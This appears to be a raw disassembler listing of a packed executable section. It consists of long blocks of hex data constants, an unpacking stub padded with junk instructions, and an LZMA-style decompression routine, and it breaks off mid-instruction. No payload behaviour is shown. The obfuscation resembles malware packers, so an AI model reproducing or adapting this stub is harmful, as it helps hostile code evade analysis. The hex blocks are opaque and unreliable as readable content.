3119A0D6h, 0E8C254A7h, 0AA2D5BA6h dd 72D7D568h, 0A2DC3640h, 3F499E43h, 8E7D3E77h, 9C18B73Dh dd 0AF6BDCC8h, 4EAB6B2Bh, 637B951Fh, 0B973CD1Ah, 82C84BCBh dd 0CDAA1F9Ah, 1C8944F7h, 0C578D7B1h, 0C691B070h, 69AE983Fh dd 83E86DE0h, 0C8C3EDABh, 1AB9CA4Ch, 1A04C4Dh, 2E2FD2E7h dd 99C1BD0Ch, 0AC84B1CDh, 4A6921EAh, 958E38B7h, 0A167FD79h dd 2EC57427h, 78EB1A22h, 48EB4EF0h, 44B7F254h, 99EEF79Ch dd 1D7E4A6Fh, 539BE899h, 4475E0BCh, 0C7509501h, 4A8D76F1h dd 6390FDFEh, 4CE98ED1h, 0EBE4FD9Ch, 214EDDEh, 29FE3451h dd 6AE74B99h, 2BB7189Bh, 6403B302h, 0A43B4F50h, 510E8A2h dd 3B098A28h, 3367BC81h, 0C6F691Fh, 0F9A9E291h, 646D0BD5h dd 5F90DF45h, 6824DE16h, 793B89E5h, 0CB6ECFEEh, 0E243573Ah dd 42BB6B05h, 0AED6C602h, 0C3C5D95Dh, 316576C3h, 2B54E9Eh dd 82937EB9h, 5BBE9CCFh, 0D33BBFD8h, 254F12D0h, 0AE3BA131h dd 0D7BD2AB4h, 1C97927Dh, 0FF2AA074h, 0C6CB607Eh, 50E1345Bh dd 6096821Dh, 0E2543726h, 14A695E6h, 51DE2630h, 7264E51Fh dd 470E82BFh, 4FEA3891h, 0F08979Dh, 20791EFBh, 61ABDC4Fh dd 62C700A3h, 6AF2EE3Bh, 994BD3BFh, 0B458055Bh, 60AE8AEDh dd 462AF66h, 0F190B633h, 0E3F9D0E2h, 0DD27E4F7h, 34FD4511h dd 0A6E9E1EDh, 6AB8EE22h, 0F32D7460h, 0CCF744B0h, 0F1502512h dd 3BA51553h, 5FF08BBDh, 8D089257h, 0F7A537A9h, 5FBE6A1Dh dd 8F090454h, 6729D1D6h, 9DF7F638h, 0F2F5A1E8h, 9D815E51h dd 0D1A5631Fh, 3F59AE65h, 81545F67h, 0E543A973h, 0F9A28DB2h dd 36ECB79Bh, 27387AE3h, 0BD1493B2h, 0FCFF5B35h, 538D7Ch dd 40180BDCh, 7F092A63h, 0E80299BBh, 7AFA0383h, 86CFE2A6h dd 7BED1102h, 848F0006h, 5853A6BAh, 347C03D1h, 641A2D23h dd 0CFFC3B1h, 0EF2D5E3h, 0EE4B37ACh, 3807C968h, 0F1F03268h dd 0C4E58642h, 28AC4A74h, 427A6CD9h, 0AE0A347Ah, 3319DE2Fh dd 4F0F7104h, 211B78BAh, 3DCB39CFh, 27B4A881h, 0EC9C4C27h dd 0DCE1D856h, 3FAA1BDEh, 91617069h, 0C35BB6FCh, 66ABC49Eh dd 7AB9E7B6h, 52AAA804h, 24436680h, 77320665h, 95274402h dd 66D5B17h, 3022F1FCh, 98643C6Ch, 458E0117h, 4F4162CCh dd 25480991h, 0D932AAC9h, 5E1E2D73h, 0C9F16712h, 7454C56Eh dd 7F4E3303h, 8D235E1Eh, 2B47AA1Ah, 685E2268h, 3FF175BBh dd 656826D9h, 0C2E2B71Ah, 3F51F26Ch, 88CCDCB7h, 0C2BFA67Ah dd 7FE280B1h, 0F0E0DCAAh, 0FE1034E9h, 0B82703CDh, 2342B168h dd 0E881A90Ch, 980555D8h, 0A8732A6Fh, 19CD38F1h, 3AD56B2Ch dd 953D552Ch, 7F132E4h, 9231982Bh, 0B41CE03Fh, 0D5311829h dd 88E7D5Ch, 0B518F5ECh, 36080374h, 0E07A082Fh, 0C6B1149Fh dd 954C1E5Ah, 65D072DFh, 598CA0AEh, 759CEF8Dh, 9A73D5F2h dd 8C09576Ch, 0EEF220B5h, 60865E21h, 0FC585D24h, 480C9577h dd 0E24CA68Bh, 0BF13917Bh, 0D1CA916Ch, 0B2BA29B4h, 718216DDh dd 0A171957Ah, 94CBAD3Fh, 0B84F200Fh, 73207253h, 433715E4h dd 219801D6h, 60911E97h, 313A7FB5h, 8ACDBC68h, 5C09957Eh dd 2FFDC896h, 3F0FEFD3h, 3D7073A7h, 0FCE0D255h, 7286492Dh dd 27661952h, 8C36A64Bh, 189FE48Fh, 872AD0ACh, 0CDA04828h dd 38988D86h, 0DB6F260h, 0C11CA074h, 0F52F7927h, 0C0E709F9h dd 1EDDE939h, 5FDFD2E5h, 0C2F0C0BBh, 1933CF2h, 0C5D85C59h dd 0CAA0182Ch, 0E2054C6Eh, 31D8AAD9h, 177CAE42h, 0CB5CAC8Fh dd 949B758Dh, 0B77A7A6Ch, 2110B3F0h, 9C80126Fh, 0E965DE4Ah dd 0CDA7C059h, 88C8D276h, 0C5AABB34h, 0CF63BE4Fh, 0C5D1CBA7h dd 8A5568A4h, 7C8577BAh, 50795091h, 0B9594D17h, 0DCC8188Eh dd 996B440Bh, 6DB89BD9h, 98A63642h, 0AF25C443h, 0BDEDBBE2h dd 6FEB8BDBh, 0D32B65C9h, 6A1A264Fh, 8721ABDEh, 627FE036h dd 0FC0F697Ah, 149692B0h, 0FB2514CCh, 315ACAFBh, 0C6790D03h dd 8509D160h, 796162FAh, 5A9DFF9Eh, 0CB65B675h, 339E4A5Bh dd 899C214Bh, 0BDA88745h, 441E5663h, 0AE4AD6C4h, 0D48D056Bh dd 219D1362h, 0F5EB1513h, 0E7442BCEh, 1853816Fh, 96F1A878h dd 7B459BBEh, 17AD215Bh, 0F03B2155h, 6EAC2E14h, 0A40EA5DAh dd 0D749FEF2h, 0AE40AB20h, 8FA656B0h, 4F174FCAh, 0C73C26D9h dd 0BE9E06EEh, 0D31D64DEh, 2D06546Bh, 4C7108EBh, 28D14561h dd 270F1CE8h, 0AF442B7Dh, 5C7A1D8Ah, 9925C1C0h, 0FDF9529Bh dd 0ED31C87Bh, 0D625FEADh, 98D26571h, 0F20E955Ah, 0E04FCFDDh dd 27DD9343h, 98F52B76h, 0B33FBE67h, 2EE2EE4Fh, 52490354h dd 95956D6Bh, 7C85C038h, 540DC919h, 0B31C230Dh, 5E89A169h dd 0B9EA8C9h, 0F5DF1698h, 1C890A87h, 19EC214h, 21421773h dd 0FB397683h, 1F553B0Fh, 0C194FE68h, 0DC1322A9h, 29467759h dd 1F491779h, 6A94262Bh, 0B25B53F0h, 9BC5F5AEh, 0E7E7258Ah dd 8A23691Bh, 0D085E64Fh, 12B396B9h, 540A1B11h, 0B7BD8CA1h dd 0F42940CFh, 0F0560082h, 96FCAEC9h, 0B572F8B2h, 0F941A008h dd 4744F28Ch, 16645676h, 5F50CDDDh, 0DBA60900h, 32867123h dd 0F8DCDFA5h, 730A9216h, 175D0871h, 8AE22CADh, 8E991A40h dd 0EF9D0048h, 0CE87C013h, 0A868616h, 0FA461D9Fh, 608D9B8Fh dd 0FF0B28C0h, 35DC8366h, 0E223692Ah, 40806F18h, 0B5361998h dd 3436775Fh, 18F9A132h, 0B155CA70h, 10C4A5F2h, 694067B2h dd 3ED53FB7h, 343E5876h, 0F04FFF1Ch, 89E3FFA4h, 2D8D8263h dd 3B968D75h, 0ABF5C3D4h, 0A7F4EE8Bh, 536F6575h, 0F21C2F8Ch dd 0FF02FB92h, 1008F938h, 4E69F998h, 5947B3CDh, 0DC29233Eh dd 7DC8439Dh, 0E01697FAh, 4CAB8300h, 3B9A1339h, 92CDEA7Ch dd 5FB95D8h, 331C39B4h, 3295BA7Dh, 3B060478h, 0DCA1A333h dd 151CFDD0h, 0CC973F5Ah, 4091C924h, 2EFA41D4h, 6101FD76h dd 7D00E678h, 0B9F51C1Ah, 0E77C49FCh, 4B4AC9ABh, 3EF41445h dd 980451B7h, 0DB9FFEFFh, 0EBECBFB8h, 0A06928Fh, 728EB24Dh dd 0EB93A3BBh, 46589D47h, 77D3AD35h, 7D6C7AAFh, 0B65E5CBAh dd 9CE40C7Bh, 0D76E2244h, 0FED6DAAEh, 2A3B74DAh, 0DB593C69h dd 5685FA25h, 6520CD5Ah, 6F98D4Dh, 0D196E892h, 9B1D8E90h dd 7531E10h, 0B3295C3Eh, 4E206872h, 0D5717903h, 3660CD6Dh dd 522ECA84h, 73609F94h dd 0E186FD5Ch, 99CD4952h, 8C9D83F3h, 0CAE0368h, 2314ADDDh dd 3EC6D7F8h, 4702F61Dh, 0EC45779Dh, 384AF715h, 8B0D74CBh dd 0E31F1614h, 5D6D8C14h, 29FCE199h, 0AB46367Ah, 60C455Eh dd 0E786462Bh, 8FC7D891h, 85B23B3Dh, 93C6D40Ah, 293EDB0h dd 54305467h, 0DE25649Fh, 4DA3342Eh, 7E752CEh, 513704ADh dd 0A1168205h, 19F4C4C9h, 0B47DFB1Ah, 0B153FAFCh, 677189AEh dd 329BEFABh, 576EB105h, 813F7B19h, 2EB46622h, 9979B1EBh dd 0B7AF6507h, 0BB36D8B3h, 0DFE91AF8h, 996FCEA7h, 9F58B4F7h dd 0F2BEC3A6h, 605E36A2h, 0F898EE02h, 6D5107FDh, 92AD2CC8h dd 6B9B47B2h, 32D12057h, 0FE584D23h, 0B241893Ah, 5D96E395h dd 7D560ADBh, 3E9DFAD8h, 9CEE704Bh, 3141C07Ch, 5D733220h dd 0DAC842D3h, 2BC41A3Bh, 7EB81BA0h, 518230DCh, 2D228080h dd 9A8E4840h, 0A43E5E20h, 33B1A144h, 87161FD9h, 4D430373h dd 6875D18Dh, 830EBD9Eh, 759AEB92h, 8F0116F9h, 0E26B9EC4h dd 24FB8FFh, 347091C3h, 0C3791B9Ch, 902D307Bh, 0EE7B8807h dd 50E902ACh, 3F6C3283h, 6EE75864h, 0CC4F7F4Fh, 0DB293703h dd 23151A09h, 5974C52Ch, 0CC14486Ch, 3F9466C6h, 8737B994h dd 49F99703h, 8AF953EBh, 1EFC77E5h, 0B605468Ch, 59B249F2h dd 0A44682C3h, 1A05DA01h, 85C10ABEh, 9258C807h, 19D51D73h dd 0AF1856CEh, 0EA28E530h, 371CF389h, 0FE0032B8h, 97FBC5E0h dd 1B3A7D4Ah, 21D74417h, 6926D51Eh, 7B71613Ah, 916E8FB4h dd 0FFD88FC1h, 43D6F674h, 0F4D8CAF1h, 0B98D1282h, 958C6871h dd 63BF03D0h, 9D0AC3Ch, 2C25475Eh, 855F0E92h, 543AE678h dd 0C082C116h, 0DB56946h, 4651426Bh, 0E1BA06C5h, 0FDAB79B5h dd 5228924Fh, 5DD5D23Bh, 450FCA47h, 16865CAh, 0F746FC78h dd 0A2437766h, 7676362Fh, 5005C44Bh, 4E35FE1Eh, 325A17F3h dd 45C93A96h, 0B81D509Dh, 1F98FFA6h, 0A14A38A4h, 66187BC6h dd 0C9259E17h, 761029EDh, 0C702CB64h, 0B10C79A7h, 53C28EA9h dd 43803507h, 4B74A4CFh, 4F17A244h, 0AED3A320h, 6E02643Bh dd 80E3D684h, 424FF81Ch, 61C17FEAh, 9DECD709h, 0AE489F9Ch dd 7E09CCD2h, 8E1AF697h, 38B90CE8h, 2440827Bh, 0ED1ED18Bh dd 98B0B122h, 9D00D11Ah, 26C53E39h, 707D6600h, 0E84A937Ah dd 24A8E58h, 5026FD93h, 3BD644EEh, 9BF98BF3h, 82F14594h dd 22390A8Dh, 7481D335h, 597031CFh, 0F79E7C07h, 0FF7DBCD9h dd 0AAA61646h, 9F41C941h, 0B88A0181h, 0FF646BDAh, 0EB36CAAEh dd 6505545Fh, 0EC1EC82Bh, 30C76C95h, 7014280h, 22539DB0h dd 5FB13B76h, 3D1EAAE8h, 0EC452939h, 954198CDh, 0F5AE817Ch dd 0AFF2B01Eh, 31274335h, 0DF7F1E11h, 1703837Ch, 0F3F0133h dd 0C115FA19h, 5669055Ah, 2AD18D6Fh, 3EDC3D95h, 24BCC9D8h dd 34C1463Dh, 7667FC84h, 9A0EAF10h, 0F6AF00AAh, 75D7A67Dh dd 0C5E40AD9h, 62549A64h, 2A6BE476h, 3DDAC699h, 8EA3F66h dd 0C74591Ah, 3683E7BAh, 9B1FD2D1h, 0C61D67E2h, 789601E0h dd 0FA6AC79Ch, 9205E41Ch, 27F80EC0h, 2818EA0Fh, 7DC21DB6h dd 55927955h, 0A3479375h, 97D5F7AAh, 1DBC1077h, 8301E4B5h dd 9E2A0710h, 7337C56h, 6BAEF13Bh, 0DC46073Fh, 925E6A85h dd 7984AE30h, 6D167FABh, 7937B08Fh, 1238601h, 60574B89h dd 0D0A8EC39h, 1A474B1Bh, 39A7F665h, 8AB5AEF4h, 0A3ED68EFh dd 474FEC59h, 0B2E2A9FDh, 0F5EE32E2h, 0D785D272h, 0A4C5823Ah dd 6D9BA3E0h, 1B08A99Dh, 1A635073h, 5FCB55FEh, 0C9D9866Ah dd 0EE2C81D6h, 11437691h, 44A810C6h, 7A90C197h, 2E2E8C05h dd 572D1F43h, 0E6E70111h, 8AAB1B34h, 77AF94D5h, 8E9A0CA9h dd 93DB1702h, 7B6429ECh, 0B4DAEE84h, 8B1121F8h, 4BDBFB66h dd 21FDFBF7h, 0CC22219Ch, 0A82E2B3h, 1693EDAEh, 8FFC6CCFh dd 0FC37E8FFh, 3F19C8D1h, 61D8FDD0h, 7593782Eh, 0F93D9D43h dd 12C8A7BFh, 4AC02A42h, 5CAB5F84h, 3B5E1D0h, 9EC4DB8Fh dd 897CE9DAh, 0BE8F3E1Ch, 0F14B0D0Dh, 30C32780h, 0CF267BE2h dd 97B66D5Fh, 7C1A56D9h, 0C60E5BE0h, 5DF5D4DCh, 0A567B95h dd 42189F12h, 923DF6B9h, 0EC50366Ch, 0B129595Dh, 10E1D694h dd 0CFAA1845h, 3BCCA7B8h, 6BDB3543h, 1A9DCD1Ah, 0EDD867D5h dd 46D4FDDEh, 3F953017h, 771174h, 9BEC453Bh, 760B69D9h dd 1F26CB64h, 0F58358C0h, 89A9C26Ah, 2C5EA02Ah, 65B710C4h dd 43FAFA35h, 0C9D37A7Eh, 629E5BC4h, 0A1E0C14Ch, 0E0ACD8A1h dd 6EEBCBEBh, 0C1D45C81h, 804FB866h, 0B5204092h, 349419E1h dd 0A312CBB5h, 0A6F10EC0h, 893B0D55h, 82BEEC0Ch, 0A0EEC196h dd 0A8C5BDF9h, 1F509E51h, 0CE192617h, 0C429179Bh, 0BC2C88DBh dd 0F0EF4E27h, 0BB8212C1h, 9EFF70C8h, 0F1827472h, 0FB489BBCh dd 0BDE250A0h, 0DC2B250Eh, 0E403D52Dh, 732E0F7Ah, 717F155Dh dd 0A6D0FA81h, 0B6F581E5h, 0BA2957C4h, 79FAA539h, 0FC7AB63Ch dd 0F268612Ah, 0A5E6226Fh, 1FB827BDh, 39FD4AF0h, 77DBB1C1h dd 9D4ECF6Ah, 772A8B89h, 0D3148D97h, 0BDDDC659h, 90F6115h dd 0FECD4176h, 0D77B1DD8h, 9C656A5Dh, 0EABEA3BDh, 4B987E35h dd 0E4E4BE7Bh, 3E72355Dh, 1BCADE31h, 66985843h, 0ECB53E5Dh dd 0AF91D24Ch, 0A305E6ECh, 0FBACB620h, 0C190FCB2h, 0E4D60F91h dd 0EAA5EFEAh, 8CF9FB36h, 0CE470A7h, 49E554D4h, 0FAEA3841h dd 9F3EBAECh, 0EA9C7184h, 0EE77EAC3h, 0AC67F488h, 229D02C3h dd 8EB9EDBEh, 0A1F02F0Eh, 50672783h, 0B6C1CBBDh, 72362E8Fh dd 0ABC45978h, 0B819FF2Bh, 5BCFED68h, 4AF92806h, 738A3625h dd 27AE206Dh, 0CDB5C245h, 851447F7h, 0C5C47DC3h, 9F67D1DDh dd 0D34532AEh, 6A095667h, 1992CDC7h, 0B0613147h, 0FFA90AE5h dd 0BAEFBF40h, 6CC5DA93h, 2613EDFBh, 62E58B5Fh, 0FBD32603h dd 361E628Ah, 9074C458h, 0BE6AA98Ah, 422CA4F6h, 27E8C863h dd 0A7013B9Eh, 0B6EB56E7h, 4BC2E465h, 6422D92Dh, 11E05121h dd 1AEC654h, 0B1FAB92Eh, 0DBA06ACAh, 4EA36A68h, 0D0F1717Fh dd 0DCDE2FCBh, 5EBE76D1h, 0B717E596h, 4292CA96h, 2E4D6199h dd 0D5847C5Bh, 6C15C13Eh, 0AA354087h, 3D01658Fh, 36C28814h dd 0BFF46B51h, 3A02F25Bh, 607AE3E8h, 31732EE2h, 87E585D8h dd 0BF24EAh, 0E8E82DEh, 5FB1C73Ch, 4E0AD9C3h, 8A162F3h dd 506986F8h, 0EBFDBD6Fh, 3EF3E6FEh, 0C88D846h, 44A62B86h dd 91D0DB93h, 0D9E7A286h, 23783AC3h, 2DDB7E1h, 66ADCC30h dd 80372B10h, 5DD2BDFh, 100715A3h, 0A3D136F5h, 0F76A7924h dd 314FAACCh, 596AFB6Fh, 41F57E9Ch, 3A29D994h, 0DA02353h dd 30388A10h, 0FC76C09Ch, 6C41780Eh, 0B7F8AC85h, 0B71DF891h dd 4C4E010Fh, 75BB5DD1h, 0CAD49D81h, 0CD0D370Fh, 6D91BA7h dd 0F1BD3028h, 9B66092Dh, 0C8DE247Fh, 2EB11C8Fh, 0FF2D1FC3h dd 0A7A2CB22h, 0EA3CE9D3h, 0D2A6FDE2h, 0B03241FCh, 3403D332h dd 0B0006F05h, 9CD0E846h, 29291D3Ah, 0FD58E78Eh, 887C09DAh dd 9976DEB6h, 23DAA102h, 6EBFE7AEh, 1ADAAA78h, 85CAC245h dd 30C1D0BBh, 0A4EF2C8Fh, 4EAE1CC6h, 40E16012h, 9612F2B9h dd 37791B25h, 68419769h, 544D42F1h, 2D1A52EBh, 58EA9A14h dd 4096514Ch, 88231D2Ah, 7B8D5394h, 0AE58A88h, 34F6BF2Ch dd 0FF88C4Dh, 0AD4D1756h, 0A35C4B1Dh, 25EE3777h, 768A3E65h dd 4B58D54h, 3C7FCBD7h, 83168495h, 2F3CBB37h, 0F0FADB26h dd 18F168EBh, 19821E45h dd 0C0950959h, 5FEA0F34h, 0FDEF58A0h, 7F04F824h, 0E32B6CCBh dd 6A0F67EFh, 0A1A26970h, 5FC1DEA9h, 6D05301Dh, 26DCC2DDh dd 0B9509282h, 0D862F22Eh, 0FB0734Eh, 5CA61939h, 441CD915h dd 0D7B65D42h, 0C08ADECAh, 9D97DCD9h, 769FC88Fh, 0A3946F36h dd 3AEE9E1Bh, 2F018C30h, 0CA5530F8h, 5783B2EFh, 820FD021h dd 0D0FE0794h, 0C087963Ah, 86A4153h, 9D359068h, 7B5F9306h dd 612C91F3h, 2B7CA74h, 8FB15B2Ch, 1B53AC71h, 962F4D76h dd 87B858F7h, 98745842h, 0F1269667h, 4894C382h, 0C622A79Fh dd 0D5B4F192h, 7D10508Fh, 98D8F7F7h, 11FE63E9h, 0F43FB311h dd 6B5F2D93h, 5C4AD0DCh, 2F897100h, 65AFD93h, 0B70A8789h dd 0C3B5B830h, 6CAF56F6h, 0DC1E5DBCh, 0C698919Dh, 0A1CC5D9Bh dd 5F2AF005h, 1141D835h, 0DCFE9793h, 99D5FF5Ah, 92E5B77Bh dd 3B4A0998h, 8434D837h, 3BC1489Ch, 7C5B8A46h, 0B1D5208Ch dd 0A721032Eh, 55FB21B8h, 0B1E9931Fh, 8D6ABF6Bh, 256F3192h dd 5719B986h, 0AA435C70h, 0C2CB920Fh, 4878082Dh, 4B780CB3h dd 1C98BB2Fh, 0ED90D31h, 53050BBEh, 0C65BD49Ch, 839F1679h dd 9903458Ch, 597F1D12h, 0EEE87291h, 2CEF8072h, 4BD1E562h dd 0FB46807Ch, 0DDA72A6Bh, 8BA924CBh, 0FCFFB9D0h, 682952h dd 0 dd 4000h, 0D8000000h, 4000C1Ch, 0 dd 0D5000000h, 8A004480h, 68004382h, 24004381h, 4280h dd 2 dup(4000h), 0 db 80h, 43h, 0 ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] dd 5B8D5B00h, 8BC08BC6h, 8BC98BDBh, 909090F6h, 8D28EB90h dd 0C08BC65Bh, 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h dd 0B90CC683h, 0Bh, 6C83A4F3h, 61052224h, 1C39D66h, 8BC08B1Bh dd 8BC98BDBh, 909090F6h, 27EB9090h, 0C08B1B01h, 0C98BDB8Bh dd 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Ah, 6C83A4F3h dd 61052224h, 8BC39D66h, 8BC08B13h, 8BC98BDBh, 909090F6h dd 27EB9090h, 0C08B138Bh, 0C98BDB8Bh, 9C66F68Bh, 24748B60h dd 0FB7E8D22h, 0B90CC683h, 0Ah, 6C83A4F3h, 61052224h, 8DC39D66h dd 0C08B1473h, 0C98BDB8Bh, 9090F68Bh, 28EB9090h, 8B14738Dh dd 8BDB8BC0h, 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh dd 0BB9h, 83A4F300h, 522246Ch, 0C39D6661h, 0C08B086Ah dd 0C98BDB8Bh, 9090F68Bh, 0EB909090h, 8B086A27h, 8BDB8BC0h dd 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh, 0AB9h, 83A4F300h dd 522246Ch, 0C39D6661h, 8BC08B59h, 8BC98BDBh, 909090F6h dd 0EB909090h, 0C08B5926h, 0C98BDB8Bh, 9C66F68Bh, 24748B60h dd 0FB7E8D22h, 0B90CC683h, 9, 6C83A4F3h, 61052224h, 1C39D66h dd 8BC08B16h, 8BC98BDBh, 909090F6h, 27EB9090h, 0C08B1601h dd 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h dd 0Ah, 6C83A4F3h, 61052224h, 0ADC39D66h, 0DB8BC08Bh, 0F68BC98Bh dd 90909090h, 26EB9090h, 8BC08BADh, 8BC98BDBh, 609C66F6h dd 2224748Bh, 83FB7E8Dh, 9B90CC6h, 0F3000000h, 246C83A4h dd 66610522h, 8B49C39Dh, 8BDB8BC0h, 90F68BC9h, 90909090h dd 4926EB90h, 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h dd 0C683FB7Eh, 9B90Ch, 0A4F30000h, 22246C83h, 9D666105h dd 54850FC3h, 8BFFFFFFh, 0E906C6E8h, 890C438Bh, 458B0146h dd 8B046A08h, 8BDB8BC0h, 90F68BC9h, 90909090h, 46A27EBh dd 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh dd 0AB90Ch, 0A4F30000h, 22246C83h, 9D666105h, 100068C3h dd 0C08B0000h, 0C98BDB8Bh, 9090F68Bh, 682AEBh, 8B000010h dd 8BDB8BC0h, 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh dd 0DB9h, 83A4F300h, 522246Ch, 0C39D6661h, 68h, 8BC08B0Fh dd 8BC98BDBh, 0EB9090F6h, 682Ah, 0C08B0F00h, 0C98BDB8Bh dd 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Dh, 6C83A4F3h dd 61052224h, 6AC39D66h, 8BC08B00h, 8BC98BDBh, 909090F6h dd 27EB9090h, 0C08B006Ah, 0C98BDB8Bh, 9C66F68Bh, 24748B60h dd 0FB7E8D22h, 0B90CC683h, 0Ah, 6C83A4F3h, 61052224h, 0FFC39D66h dd 8BD08BD0h, 8BDB8BC0h, 90F68BC9h, 90909090h, 0D08B27EBh dd 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh dd 0AB90Ch, 0A4F30000h, 22246C83h, 9D666105h, 8BFA8BC3h dd 8BDB8BC0h, 90F68BC9h, 90909090h, 0FA8B27EBh, 0DB8BC08Bh dd 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh, 0AB90Ch dd 0A4F30000h, 22246C83h, 9D666105h, 90B8C3h, 0C08B0000h dd 0C98BDB8Bh, 9090F68Bh, 90B82AEBh, 8B000000h, 8BDB8BC0h dd 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh, 0DB9h, 83A4F300h dd 522246Ch, 0C39D6661h, 0FFFFFFB9h, 8BC08B0Eh, 8BC98BDBh dd 0EB9090F6h, 0FFFFB92Ah, 0C08B0EFFh, 0C98BDB8Bh, 9C66F68Bh dd 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Dh, 6C83A4F3h, 61052224h dd 0F3C39D66h, 8BC08BAAh, 8BC98BDBh, 909090F6h, 27EB9090h dd 0C08BAAF3h, 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h dd 0B90CC683h, 0Ah, 6C83A4F3h, 61052224h, 0B8C39D66h, 0C3h dd 0DB8BC08Bh, 0F68BC98Bh, 2AEB9090h, 0C3B8h, 8BC08B00h dd 8BC98BDBh, 609C66F6h, 2224748Bh, 83FB7E8Dh, 0DB90CC6h dd 0F3000000h, 246C83A4h, 66610522h, 8BAAC39Dh, 8BDB8BC0h dd 90F68BC9h, 90909090h, 0AA26EB90h, 0DB8BC08Bh, 0F68BC98Bh dd 8B609C66h, 8D222474h, 0C683FB7Eh, 9B90Ch, 0A4F30000h dd 22246C83h, 9D666105h, 6AD2FFC3h, 10006804h, 73FF0000h dd 55FF5108h, 8BD08B08h, 9CE91873h, 8B000000h, 0AD3B03F8h dd 0BA0FC88Bh, 7731FF7h, 88E9A5F3h, 60000000h, 0FF575652h dd 44891453h, 60611C24h, 3B2BEF8Bh, 788DDF8Bh, 6AF633FBh dd 64EB5AFCh, 242E048Ah, 74E83CFEh, 2E048B0Dh, 66F0E480h dd 75800F3Dh, 0C68B464Eh, 334C22Bh, 4C8AD68Bh, 0D041042Eh dd 573C75E9h, 2E3C8B46h, 0FE2BFB2Bh, 832E3C89h, 1A7703F8h dd 0E1C1C88Bh, 0FFBF03h, 0E7D30000h, 8D2E3C33h, 0C8A300Ch dd 0E9D04129h, 0C683DA74h, 2E0C8A03h, 930FE9D0h, 88CDFEC5h dd 465F2E2Ch, 987CF73Bh, 0ADF10361h, 850FC085h, 0FFFFFF5Bh dd 800068h, 0FF525000h, 438D0C55h, 46A500Ch, 33FF016Ah dd 8B1055FFh, 432B0843h, 68046A04h, 1000h, 0FF006A50h dd 50600855h, 0FF1C73FFh, 1453FF33h, 80006861h, 6A0000h dd 0C55FF50h, 500C438Dh, 6A0C73FFh, 0FF33FF01h, 738B1055h dd 327EB20h, 55FF5003h, 33E8B00h, 0F12EB3Bh, 721FF1BAh dd 410B0304h, 50515041h, 0AB0455FFh, 850F8B58h, 83E875C9h dd 85AD10C6h, 61D475C0h, 0FFFA32E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 30h xor eax, eax inc eax mov edi, [ebp+10h] mov [ebp-14h], eax mov [ebp-1Ch], eax mov [ebp-18h], eax mov [ebp-28h], eax mov eax, 400h xor edx, edx mov ecx, 30736h rep stosd mov eax, [ebp+0Ch] push 5 mov [ebp-8], eax mov [ebp-10h], edx mov [ebp-1], dl mov [ebp-0Ch], edx mov [ebp+0Ch], edx or eax, 0FFFFFFFFh pop ecx loc_448113: ; CODE XREF: .vty:00448128j mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi inc dword ptr [ebp-8] dec ecx mov [ebp+0Ch], edx jnz short loc_448113 loc_44812A: ; CODE XREF: .vty:004482BCj ; .vty:004482CBj ... mov esi, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ebp+10h] and esi, 3 shl ecx, 4 add ecx, esi cmp eax, 1000000h lea edi, [edx+ecx*4] jnb short loc_44815C mov edx, [ebp-8] mov ecx, [ebp+0Ch] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_44815C: ; CODE XREF: .vty:00448143j mov ecx, [edi] mov ebx, eax shr ebx, 0Bh imul ebx, ecx cmp [ebp+0Ch], ebx jnb loc_4482D9 mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx movzx ecx, byte ptr [ebp-1] imul ecx, 0C00h xor edx, edx mov [edi], esi mov esi, [ebp+10h] inc edx cmp dword ptr [ebp-0Ch], 7 lea ecx, [esi+ecx+1CD8h] mov eax, ebx mov [ebp-20h], ecx jl loc_448242 mov ecx, [ebp-10h] sub ecx, [ebp-14h] mov esi, [ebp+8] movzx ecx, byte ptr [esi+ecx] mov [ebp-24h], ecx loc_4481B3: ; CODE XREF: .vty:0044823Aj shl dword ptr [ebp-24h], 1 mov esi, [ebp-24h] mov edi, [ebp-20h] and esi, 100h cmp eax, 1000000h lea ecx, [edx+esi] lea ecx, [edi+ecx*4+400h] mov [ebp-2Ch], ecx jnb short loc_4481ED mov ebx, [ebp-8] mov edi, [ebp+0Ch] movzx ebx, byte ptr [ebx] shl edi, 8 or edi, ebx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edi loc_4481ED: ; CODE XREF: .vty:004481D4j mov ecx, [ecx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_44821B mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-2Ch] add edx, edx test esi, esi mov [ecx], edi jnz loc_44829B jmp short loc_448234 ; --------------------------------------------------------------------------- loc_44821B: ; CODE XREF: .vty:004481FAj sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi test esi, esi mov edi, [ebp-2Ch] mov [edi], ecx lea edx, [edx+edx+1] jz short loc_44829B loc_448234: ; CODE XREF: .vty:00448219j cmp edx, 100h jl loc_4481B3 jmp short loc_4482A3 ; --------------------------------------------------------------------------- loc_448242: ; CODE XREF: .vty:0044819Dj ; .vty:004482A1j cmp eax, 1000000h mov ecx, [ebp-20h] lea edi, [ecx+edx*4] jnb short loc_448266 mov esi, [ebp-8] mov ecx, [ebp+0Ch] movzx esi, byte ptr [esi] shl 